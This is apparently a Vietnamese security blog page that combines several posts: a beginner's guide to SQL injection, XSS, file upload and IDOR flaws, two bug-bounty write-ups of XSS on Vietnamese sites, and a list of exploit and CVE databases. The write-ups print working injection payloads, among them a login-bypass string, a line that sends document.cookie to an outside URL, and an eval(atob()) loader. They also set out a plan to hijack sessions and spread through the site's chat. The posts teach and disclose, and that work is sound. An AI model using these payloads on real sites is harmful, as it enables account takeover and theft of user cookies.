Các lỗi bảo mật cơ bản mà các developer hay gặp

Mở bài

Chào các thành viên Kipalog :D

Mình không biết viết văn, nên câu chữ lủng củng, mong mọi người hiểu được =))

Mục đích bài viết này là chia sẻ đến các Developer (Dev), đặc biệt là các bạn Dev ít kinh nghiệm về vấn để bảo mật cho ứng dụng web.

Kiến thức mình có hạn, nên không nói sâu được, nên mình xin được chia sẻ những kiến thức mình có về các lỗi cơ bản mà rất hay gặp mà các Dev gần như sẽ gặp trong kiếp Coder của mình :D
Mình sẽ không giải thích dài dòng, các bạn chủ động hỏi thằng bạn thân Google để tìm hiểu thêm

Link cho các bạn tham khảo, các bài viết chi tiết và đầy đủ về từng phần
https://kipalog.com/posts/Gioi-thieu-Ebook-tu-viet--Bao-Mat-Nhap-Mon---Bao-Mat-Co-Ban-cho-Developer
https://kipalog.com/posts/Bao-mat-co-ban---Gioi-thieu-ve-SQL-Injection
https://kipalog.com/posts/Lo-hong-bao-mat-Cross-Site-Scripting--XSS--co-gi-nguy-hiem

Lan man xíu

Điều gì ở ứng viên mà mình quan tâm nhất?

Mình thỉnh thoảng có phụ trách tuyển dụng PHP cho nhóm Sản phẩm của công ty. Yếu tố quan trọng nhất cho một ứng viên PHP với mình là gì. Tất nhiên del phải là bảo mật mà là trung thực và chịu khó =)). Nhưng tư duy và tư duy bảo mật là số 2, kiến thức thì học sau

Các điểm chung của các lỗi bảo mật này là gì?

Mình cho là mình tin tưởng về các Input mà client gửi lên (cứ nghĩ input đó là ok rồi). Nên chốt là del bao giờ tin những gì thằng Client gửi lên hết => Phải xử lý input client gửi lên trước khi xử lý việc khác

Thân bài

Các lỗi bảo mật dễ mắc phải

Mình xếp theo mức độ nguy hiểm giảm dần, theo quan điểm cá nhân mình xD

1, SQL Injection

Không phải nói nhiều về cái lỗi thần thánh này, gần như Dev mới 96.69 đều mắc phải nó -_- thậm chí các Dev có kinh nghiệm cũng có thể mắc :D

Lấy ví dụ phần login cho một website nha
- Lỗi xảy ra như thế nào

Câu query bạn mong muốn sẽ là
$sql = "select * from users where username='".$_POST['username']."' and password='".$_POST['password']."'"; // :D
Còn gì tuyệt vời hơn nếu người dùng nhập, ví dụ username là quydo, mật khẩu là matkhauManhVL

Nhưng vấn đề là nhiều thanh niên không thích thế, ví dụ nhập username là quydo' or 1-- - và mật khẩu là nhập linh ta linh tinh đi kadslfjladsjfkldsfjladskfjaskldfjadsklf
Khi đó query mà bạn đang chờ sẽ là

$sql = "select * from users where username='quydo' or 1 limit 1-- - and password='kadslfjladsjfkldsfjladskfjaskldfjadsklf'
Câu query luôn đúng bởi -- - là dùng để kết thúc 1 câu query, như // trong php đó

- Sự nguy hiểm
user chạy ở đây là user connect tới database server (không phải user của web server)

• Thứ nhất là có thể truy xuất gần như là toàn bộ thông tin về cơ sở dữ liệu đang thao thác
  và có thể các database (do grant quyền)
• Thứ hai là có thể query insert, update, drop đến database hiện tại :D ví dụ có thanh niên chạy drop database database_name thì thôi xong (cái này phụ thuộc nhiều yếu tố mới thành công)
• Thứ 3 là có thể upload backdoor (cụ thể là php shell), phải phụ thuộc khá nhiều điều kiện
  user chạy là root (hoặc user có quyền với file), biết được cấu trúc website đang chạy (ví dụ biết được /var/www/domain.com), cái này mà được thì rất nguy hiểm

Thường thì các attacker sẽ tìm phần login admin => login vào admin backend, dựa vào các bug (chủ yếu là upload) để upload backdoor (php shell) lên :D.

2, XSS

Lấy ví dụ phần search cho một website nha
- Lỗi xảy ra như thế nào

Giả sử url trang search là
http://domain.com/search.php?keyword=user_keyword
Và trong trang search.php, và ở trang search.php bạn có dòng
echo "Kết quả tìm kiếm cho từ khóa: ".$_GET['keyword'];
Nếu người dùng nhập keyword bình thường ví dụ: xem phim xxx, maria ozawa gì đó thì ok

Nhưng nếu người dùng thích nhập khác, ví dụ:
Thì lúc load trang search.php?keyword=
1 cái alert bằng javascript sẽ xuất hiện với nội dung "aloxo xss"

- Sự nguy hiểm
Bạn tham khảo đây https://kipalog.com/posts/Lo-hong-bao-mat-Cross-Site-Scripting--XSS--co-gi-nguy-hiem

Thường thì các form input hay bị như thông tin tài khoản, phần bình luận comment :D
Mình cũng bị dính vụ comment lúc mới Dev, có thanh niên làm cái insert 10k có cái alert javascript vào -_-

3, Upload

Lỗi xảy ra như thế nào

Dev không check kiểu file, hoặc chỉ check ở máy client
Ví dụ check kiểu file = javascript trước khi gửi lên là móm, có thể chỉnh sửa js nên bypass được
Code check không chính xác, có thể bypass được, ví dụ dùng cái này là móm ngay
if($FILES['file_field']['type'] == 'jpg') echo "tiếp tục";
Không thay đổi tên, lấy tên theo tên client gửi lên. Người dùng có thể cho tên file là shell.php.jpg, backdoor.php.rar... Có 1 bug mà rất nguy hiểm, dựa vào hàm moveuploaded_file để upload php backdoor lên

link đây http://www.paulosyibelo.com/2015/03/exploiting-php-upload-forms-with-cve.html

4, Insecure Direct Object References

Cái này cũng khá hay gặp, nhất là ở phần API, bạn xem tham khảo của #toidicodedao link mình gửi trên đó, có phần này, rất hay và chi tiết. Hoặc bài của anh Juno_okyo về trang web CGV film đó :D
Hoặc ví dụ mà cái anh gì bên VNsecurity ví dụ về site bán vé online lớn nhất VN tickets gì đó ở Trà đá hacking lần 2

Ví dụ ở cái app đi, sẽ có 1 API /user/transaction/Trans_id để lấy info giao dịch của người dùng
user gọi api, api get thông tin giao dịch có id=Trans_id để trả lại cho user, ok :D
Lỗi ở đây là Dev không kiểm tra cái Trans_id có thuộc về user đó không
Nên có thể thay Trans_id khác, mà API vẫn trả về :D

5, Remote Code Execution

Để chạy được cái này khá nhiều điều kiện, bạn có thể search Google để biết thêm chi tiết

6. Remote file inclusion

Giờ cái này khá hiếm, nếu mà được thì nguy hiểm, khi file include là con backdoor shell

Các lỗi mà bạn không hiểu thì chịu khó Google để tìm hiểu nha. 4 cái đầu là nguy hiểm nhất nên mình có ví dụ cơ bản :D

Mọi người có ý kiến đóng góp gì thì comment để mình fix lại

Văn vẻ lủng củng mọi người thông cảm =))

Read More

Tớ đã hack trang SinhVienIT.net như thế nào?

Lỗ hổng bảo mật XSS trên sinhvienit.net

Một ngày đẹp trời, tớ lên Google kiếm link tải Visual Studio. Như thường lệ, SVIT (sinhvienit.net) và VNZ (vn-zoom.com) luôn đứng top khi tìm kiếm mấy phần mềm... cr@ck. Khỏi phải suy nghĩ, tớ liền nhấn vào một link có thể tin tưởng (là trang nào thì các bạn cũng biết rồi đấy, liên quan tới bài viết mà).

Vào đọc lướt qua, kéo tới phần tải về. Chợt tớ để ý vào link đầu tiên mà chúng ta có thể nhận ra ngay là một trình chuyển hướng (redirector):

Vốn là tay thích săn lỗ hổng, tớ nghĩ thoáng qua trong đầu... "Không biết lão Lai dùng meta refresh, javascript hay PHP header để chuyển hướng nhỉ?". Nghĩ vậy, tớ liền nhanh tay copy link và thêm "view-source:" vào đầu.

Như vậy là sử dụng JavaScript, phần dữ liệu trên URL được in lại khá nhiều trong trang. Thử kiểm tra XSS xem nào!

Tất cả vị trí đều bị mã hóa ký tự HTML. Thử lại với nháy đơn thôi xem!

Hừm, có vẻ ổn. Một hi vọng lóe lên trong đầu! Tại vị trí này, chúng ta không cần sử dụng thẻ HTML nào vì chúng ta đang ở ngay giữa <script>...</script> (pháo đã lên nòng, chỉ việc châm lửa). Bypass thôi nào!

• Kết thúc việc gán giá trị vào biến redirUrl: ';
• Bắt đầu exploit payload của chúng ta: alert('Juno_okyo')
• Vô hiệu hóa các ký tự thừa bằng chú thích: //

Kết hợp lại tớ được vector XSS như sau: ';alert('Juno_okyo')//

Và kết quả là:

Từ XSS thành CSRF

Vì lỗ hổng XSS này nằm trên trình chuyển hướng liên kết ra ngoài SVIT nhưng link chuyển hướng lại cùng hostname với diễn đàn, tức là khả năng chiếm phiên làm việc hoàn toàn khả thi. Hơn nữa, Security Token của vBB không thay đổi (token không tự tái tạo lại sau mỗi truy vấn mà giữ nguyên trong suốt một phiên làm việc), tớ nghĩ ngay tới khả năng có thể chiếm token để thực hiện mọi thao tác dưới danh nghĩa người dùng bất kỳ => CSRF.

Xây dựng kịch bản tấn công

1. Tạo một URL chuyển hướng sử dụng DOM để chèn một file JS chứa mã khai thác.
2. Tạo một trang HTML sử dụng Iframe trỏ tới URL ở bước 1.
3. Trong file JS ở bước 1, tạo truy vấn tới SVIT để chiếm Security Token và sử dụng token để đăng xuất tài khoản của thành viên đã vô tình truy cập vào trang web ở bước 2.

Nếu bước 3 thành công, chúng ta xác nhận rằng lỗ hổng CSRF tồn tại!

Proof of Concept

Video này tớ sẽ demo lại toàn bộ kịch bản tấn công ở trên. Và với việc tớ quay lại demo thì hẳn các bạn đã đoán ra kết quả của kịch bản này như thế nào rồi đó! :)

Đừng quên đăng ký theo dõi kênh Youtube của tớ để nhận được thông báo mỗi khi có video mới nhé!

Timeline

• 4:23 PM - 16/07/2016: Lỗ hổng được báo cáo tới quản trị viên.
• 5:00 PM - 16/07/2016: Quản trị viên Sinhvienit.net xác nhận lỗ hổng tồn tại và đề nghị một khoản tiền thưởng.
• 5:05 PM - 16/07/2016: Lỗ hổng được khắc phục. Hai bên trao đổi thêm một số thông tin liên quan.
• Nguồn: https://junookyo.blogspot.com

Read More

Tôi đã hack Chợ Tốt như thế nào

Hôm nay thử dạo một vòng Chợ Tốt kiếm mấy món hàng cũ, thì phát hiện lỗi XSS, đây là lỗi không mới, cách thức tấn công cũng đơn giản, nhưng nhiều khi cần rất nhiều sáng tạo trong quá trình khai thác.
Thử tìm kiếm với từ khóa “iphone 7” thì thấy như thế này:

Ai chà, url đẹp phết, mình thích url này rồi đấy, search key đã được bỏ dấu và thêm dấu gạch ngang cho hợp chuẩn. Thử thêm một ít html vào thì thế này (ảnh nhỏ các bạn mở ở tab mới để xem nhé)

Rất nhiều nơi, search key đã được entities, tuy nhiên vì lý do nào đó, search key trong đoạn javascript này đã không được xử lý. Vấn đề là, từ khóa nó đang nằm trong string, nên alert không xảy ra hiện tượng gì.
Cuối cùng mình sửa search key như sau:

iphone 7" }; alert("something went wrong"); var a = { "a":"

Thì nhận được alert:

Bạn thấy không? Mình muốn nói đến cái search key trên, từ một property của object, nó đã tách thành 2 object, và alert nằm giữa một cách đẹp đẽ và tuyệt vời.
OK, giờ thử redrect đến 1 trang ngoài cùng với cookie của người dùng xem sao, mình thử code này:

iphone 7" }; window.location="http://google.com/" + document.cookie; var a = { "a":"

Như các bạn thấy, coder đã cẩn thận bỏ dấu gạch chéo // và phần sau của search key đi, cũng như lọc một số từ đặc biệt trong chuỗi, như vậy là không thể tương tác gì url bên ngoài được? Không, phải nghĩ cách khác. Cuối cùng thì mình đã tìm ra cách hoàn hảo nhất là đây:

iphone 7" }; eval(atob("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx")); var a = { "a":"

Với xxxxx là mã hóa base64 của một đoạn code javascript bất kỳ, tức là chúng ta có thể chèn bất kỳ đoạn javascript nào vào Chợ Tốt. Ví dụ sau đây để alert cookie:

iphone 7" }; eval(atob("YWxlcnQoIGRvY3VtZW50LmNvb2tpZSk=")); var a = { "a":"

Và đây là kết quả:

Đã đến bước này, thì các bạn đã biết mình sẽ làm gì tiếp theo rồi phải không? Mình đăng 1 bài viết mua bán với giá rất rẻ, trong đó có kèm link, lấy cookie để vào được tài khoản của những người không may click vào link.
Nhưng không dừng lại ở đó, khi đã vào được tài khoản của vài thành viên khác, mình có thể mở rộng hơn qua chính công cụ chat của Chợ Tốt bằng tokenKey đã lấy được. Viết script tự động chat với nhiều thành viên khác với nội dung bán đồ rất rẻ, và kèm link để câu.

Tâm lý là khi được chat về sản phẩm đang bán, người dùng rất dễ click vào link, social engineering khá hiệu quả trong trường hợp này.
Mình đánh giá rất cao tinh thần của đội ngũ ChoTot, sau khi gửi report qua email, bên ChoTot đã gọi điện xác nhận, chuyển đến bộ phận kỹ thuật nhanh chóng kiểm tra, fix lỗi, thônng báo mình kiểm tra các lỗi tương tự và thông báo lại.

Read More

Top 10 cơ sở dữ liệu khai thác tìm lỗ hổng

Hàng trăm lỗ hổng Windows 10 , macOS và Linux được tiết lộ mỗi tuần một lần, nhiều lỗ hổng trong đó không có sự chú ý của dòng chính. Hầu hết người dùng thậm chí không biết rằng các lỗ hổng và lỗ hổng mới được tìm thấy tồn tại, cũng như CVE có thể được định vị bởi bất kỳ ai chỉ bằng một vài cú nhấp chuột từ một lựa chọn trang web trực tuyến.

CVE là gì?

Hệ thống tham chiếu được đánh số được sử dụng để liệt kê các lỗ hổng và khai thác được tiết lộ được gọi là hệ thống lỗ hổng và phơi nhiễm chung (CVE).

Ví dụ, Cơ sở dữ liệu khai thác sử dụng các CVE để xác định các lỗ hổng riêng lẻ được liên kết với một phiên bản dịch vụ cụ thể như "SSH v7.7", như được hiển thị bên dưới với CVE-2018-15473 . Tất cả các cơ sở dữ liệu khai thác hoạt động và lập chỉ mục các CVE tương tự hoặc chính xác như số CVE được gán cho lỗ hổng liệt kê tên người dùng SSH cụ thể này.

• Đừng bỏ lỡ: Làm thế nào để dễ dàng phát hiện CVE với Nmap Scripts

CVE và khai thác được tìm kiếm rất nhiều bởi mũ đen và các chuyên gia an ninh như nhau. Chúng có thể được sử dụng để hack vào các phiên bản Windows lỗi thời , thực hiện leo thang đặc quyền và truy cập các bộ định tuyến mà không có kiến ​​thức đích, trong số những thứ khác.

Bây giờ chúng ta đã biết CVE là gì, hãy xem chúng ta có thể tìm thấy chúng ở đâu.

1CIRCL

Các máy tính Incident Response Center Luxembourg (CIRCL) là một tổ chức an ninh thông tin được thiết kế để xử lý phát hiện mối đe dọa không gian mạng và sự cố. Trang web của nó có các ấn phẩm nghiên cứu bảo mật và cơ sở dữ liệu CVE có thể tìm kiếm được .

2VulDB

Trong nhiều thập kỷ, các chuyên gia VulDB đã phối hợp với các cộng đồng bảo mật thông tin lớn và độc lập để biên dịch một cơ sở dữ liệu có thể tìm kiếm được hơn 124.000 CVE. Hàng trăm mục mới được thêm vào hàng ngày và ghi điểm (ví dụ, thấp, trung bình, cao) dựa trên mức độ nghiêm trọng của khai thác được tiết lộ.

3SecurityFocus

SecurityFocus đã báo cáo về sự cố an ninh không gian mạng và các báo cáo đã xuất bản trong quá khứ. Những ngày này, nó theo dõi các báo cáo lỗi phần mềm và đã biên soạn một kho lưu trữ có thể tìm kiếm các CVE từ năm 1999.

• Đừng bỏ lỡ: Cách tìm hầu như mọi lỗ hổng và khai thác đã biết

40day.today

0day.today (có thể truy cập thông qua dịch vụ hành tây ), là một cơ sở dữ liệu khai thác cũng bán khai thác tư nhân với số tiền là $ 5,000 USD . Trong khi có một số báo cáo về các trò gian lận xảy ra với doanh số bán hàng riêng tư, cơ sở dữ liệu công khai có thể tìm kiếm khá hợp pháp.

• Đừng bỏ lỡ: 80 trang web hàng đầu có sẵn trong mạng Tor

5Rapid7

Rapid7, người sáng tạo của Metasploit Framework , có cơ sở dữ liệu CVE có thể tìm kiếm được trên trang web của mình. Tuy nhiên, không giống như các cơ sở dữ liệu khác, Rapid7 rất hiếm khi có mã khai thác thực sự. Thay vào đó, nó cung cấp các khuyến cáo có chứa các liên kết tham chiếu hữu ích tới các tài liệu liên quan để khắc phục, cũng như các liên kết tới các mô-đun msfconsole tự động hóa khai thác được lập chỉ mục.

Ví dụ, kể từ khi công khai CVE-2018-15473 , khai báo liệt kê tên người dùng SSH nói trên, hack có thể được tìm thấy trong msfconsole và được thực thi một cách dễ dàng.

6NIST

Các Viện Tiêu chuẩn và Công nghệ (NIST) là một trong những phòng thí nghiệm khoa học vật lý lâu đời nhất tại Hoa Kỳ. Nó hiện đang tham gia vào vô số các công nghệ và nghiên cứu như sáng kiến ​​quốc gia về giáo dục an ninh mạng , lưu trữ CVE , tin tức công nghệ tiên tiến và chương trình khoa học thông tin lượng tử . Bất cứ ai cũng có thể tìm kiếm cơ sở dữ liệu CVE của nó .

7Packet Storm Security

Packet Storm Security không chính xác là một cơ sở dữ liệu có thể tìm kiếm được. Thay vào đó, nó là một nguồn thông tin chung liên quan đến tư vấn và sửa chữa dễ bị tổn thương . Trang web Packet Storm cũng có tin tức của hacker , các tài liệu nghiên cứu và nguồn cấp dữ liệu của các CVE được tiết lộ gần đây .

8Cơ sở dữ liệu khai thác

Cơ sở dữ liệu khai thác hiện đang được duy trì bởi tổ chức bảo mật tấn côngchuyên về khai thác Windows tiên tiến , bảo mật ứng dụng web và đào tạo chứng nhận người kiểm tra thâm nhập nổi bật khác nhau .

Cơ sở dữ liệu có thể tìm kiếm của nó hiện có bộ sưu tập hơn 40.000 ứng dụng từ xa , cục bộ , ứng dụng web và khai thác từ chối dịch vụ , cũng như cơ sở dữ liệu hacking của Google , các tài liệu nghiên cứu và chức năng tìm kiếm cơ sở dữ liệu .

• Đừng bỏ lỡ: Làm thế nào để tìm kiếm khai thác bằng cách sử dụng cơ sở dữ liệu khai thác ở Kali

9lỗ hổng

Vulners , được thành lập bởi Kir Ermakov , là một cơ sở dữ liệu CVE hiện có chứa hơn 176.500 khai thác được lập chỉ mục. Trang web của nó bao gồm thống kê CVE, kiểm toán viên quản lý lỗ hổng Linux và cơ sở dữ liệu CVE có thể tìm kiếm được .

• Đừng bỏ lỡ: Làm thế nào để quét các trang web cho các lỗ hổng tiềm năng

10MITER

MITER là một tổ chức do chính phủ Hoa Kỳ tài trợ quản lý các trung tâm nghiên cứu và phát triển được liên bang tài trợ ( FFRDC ). Trang web của nó nhấn mạnh các ấn phẩm thương mại và thông tin liên quan đến FFRDCs của họ, chẳng hạn như chương trình an ninh quốc gia . Nó cũng duy trì một trong những cơ sở dữ liệu CVE được tham chiếu rộng rãi và rộng rãi nhất hiện có, có thể tìm kiếm được bởi công chúng.

Tư vấn hệ thống điều hành & Cơ sở dữ liệu CVE (Tiền thưởng)

Một số độc giả có thể tìm cách khám phá các lỗ hổng dành riêng cho hệ điều hành gần đây - hoặc đơn giản là cố gắng duy trì nhận thức để bảo vệ chính mình tốt hơn. Hầu hết các bản phân phối hệ điều hành đều cung cấp một danh sách tư vấn trên trang web của họ. Đây là phần lớn các lỗ hổng và lỗi ứng dụng cụ thể, nhưng trong nhiều trường hợp, có thể dễ dàng bị kẻ tấn công khai thác.

• Microsoft: Hướng dẫn cập nhật bảo mật Windows
• Android: Bản tin bảo mật hàng tháng
• Apple: Cập nhật bảo mật
• Ubuntu: Thông báo bảo mật , Trình theo dõi CVE , Danh sách gửi thư
• Debian: Tư vấn gần đây , Danh sách gửi thư
• RedHat: Cơ sở dữ liệu CVE , Tư vấn bảo mật
• Arch Linux: Tư vấn bảo mật

Tôi hy vọng bạn thích bài viết này. Nếu chúng tôi bỏ lỡ bất kỳ trang web hoặc cơ sở dữ liệu đáng chú ý nào bạn thấy cần thiết cho kho vũ khí thử nghiệm thâm nhập, hãy nhớ để lại nhận xét và chia sẻ lựa chọn của bạn.

Read More